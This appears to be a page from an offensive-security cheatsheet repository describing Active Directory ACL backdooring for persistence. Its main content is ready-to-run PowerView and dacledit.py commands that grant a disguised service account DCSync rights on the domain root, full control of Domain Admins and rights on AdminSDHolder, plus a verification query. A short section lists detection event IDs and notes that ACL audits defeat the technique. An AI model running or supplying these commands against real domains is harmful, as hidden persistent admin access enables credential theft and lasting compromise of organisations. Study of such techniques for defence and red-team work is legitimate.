repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-65-acl-backdooring-persistence-via-dcsync-ace.mdMarkdown82 lines3.4 KiBsource raw download

title: "Attack #65 โ€” ACL Backdooring (Persistence via DCSync ACE)" description: "An attacker with DA can add hidden ACEs to domain objects to maintain persistent access. The most common pattern: grant a seemingly innocuous user DCSyncโ€ฆ" category: active-directory subcategory: "Persistence" tags: ["active-directory", "adcs", "credential-access", "persistence"] tools: ["PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Eight/๐ŸŸค Attack #65 โ€” ACL Backdooring (Persistence via DCSync ACE).md"#

๐ŸŸค Attack #65 โ€” ACL Backdooring (Persistence via DCSync ACE)#


๐Ÿ“– How It Works#

An attacker with DA can add hidden ACEs to domain objects to maintain persistent access. The most common pattern: grant a seemingly innocuous user DCSync rights on the domain root, or add GenericAll on the DA group, or backdoor AdminSDHolder (#26). Even after the DA account is revoked, the backdoor ACE allows re-escalation.


โš™๏ธ Prerequisites#

Requirement Detail
Domain Admin To modify ACLs on domain objects

๐Ÿ’ป Full Commands#

# โ”€โ”€ Grant DCSync to a low-priv user (persistence) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
  -PrincipalIdentity svc_monitoring -Rights DCSync -Verbose
# svc_monitoring now has permanent DCSync โ€” looks like a service account

# โ”€โ”€ Grant GenericAll on DA group โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
  -PrincipalIdentity svc_monitoring -Rights All

# โ”€โ”€ BackdoorAdminSDHolder (Attack #26 โ€” self-healing) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
  -PrincipalIdentity svc_monitoring -Rights All

# โ”€โ”€ Verify โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs | Where-Object {
  $_.IdentityReference -match "svc_monitoring"
}
# โ”€โ”€ Linux โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
dacledit.py -action write -rights DCSync \
  -principal svc_monitoring -target-dn "DC=corp,DC=local" \
  corp.local/Administrator:'Password1' -dc-ip 10.10.10.10

๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4662 Security Log (DC) DACL write on domain root
5136 Security Log (DC) nTSecurityDescriptor modified

๐Ÿ”— Attack Chain Context#

[ACL Backdooring] โ”€โ”€โ†’ Persistent Privilege Re-Escalation via Hidden ACEs
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿ”— DCSync ACE + AdminSDHolder = self-healing persistent access
         โ”œโ”€โ”€โ†’ ๐Ÿ“‹ Survives DA account revocation โ€” the backdoor ACE remains
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: regular ACL audits, baseline domain root DACL

โœ… Attack #65 โ€” ACL Backdooring complete.